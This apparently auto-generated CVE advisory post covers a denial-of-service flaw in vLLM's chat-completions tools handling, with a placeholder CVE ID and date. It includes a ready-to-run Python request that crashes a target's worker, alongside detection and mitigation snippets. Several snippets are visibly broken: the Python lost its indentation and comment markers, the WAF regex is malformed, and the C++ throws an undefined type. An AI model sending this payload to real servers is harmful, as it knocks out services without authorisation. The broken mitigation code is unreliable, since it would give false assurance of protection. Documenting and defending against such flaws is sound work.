vLLM, Input Validation Vulnerability, CVE-2024-XXXX (Critical)

Listen to this Post

How the CVE Works

The vulnerability in vLLM’s `/v1/chat/completions` endpoint stems from improper validation of user-supplied inputs in the `type` and `pattern` fields when using the tools functionality. The `type` field expects specific values (string, number, object, etc.), but arbitrary input triggers a runtime crash in the C++ JSON schema converter. Similarly, the `pattern` field undergoes Jinja2 rendering before unsafe regex compilation, allowing malformed expressions (e.g., unclosed brackets) to crash the C++ regex engine. A single malformed request terminates the worker, requiring manual restart. While RCE was not achieved, the lack of input sanitization poses a critical denial-of-service risk.

DailyCVE Form

Platform: vLLM
Version: Pre-patch
Vulnerability: Input validation bypass
Severity: Critical
Date: 2024-XX-XX

Prediction: Patch expected within 30 days

What Undercode Say:

Exploitation:

import requests
Crash via type field
payload = {
"model": "mistral-nemo-instruct",
"messages": [{"role": "user", "content": "crash"}],
"tools": [{
"type": "function",
"function": {
"name": "exploit",
"parameters": {
"type": "object",
"properties": {"a": {"type": "INVALID_TYPE"}}
}
}
}]
}
requests.post("http://target/v1/chat/completions", json=payload)

Detection:

Check worker crashes in logs
grep -E "RuntimeError:.json_schema_converter.cc|regex_converter.cc" /var/log/vllm.log

Mitigation:

1. Input Sanitization:

VALID_TYPES = {"string", "number", "object", "boolean", "array", "null"}
if input_type not in VALID_TYPES:
raise ValueError("Invalid type field")

2. Regex Safety:

// C++ regex pre-validation
try {
std::regex test(pattern);
} catch (const std::regex_error& e) {
throw RuntimeError("Invalid regex pattern");
}

3. WAF Rule:

location /v1/chat/completions {
if ($request_body ~ '"type":\s"[^"]"|"pattern":\s"{.}") {
return 403;
}
}

Analytics:

  • Impact: 100% worker crash rate per malicious request.
  • Attack Vector: Low complexity (no auth required).
  • Patch Priority: Immediate; workaround via input filtering.

References:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top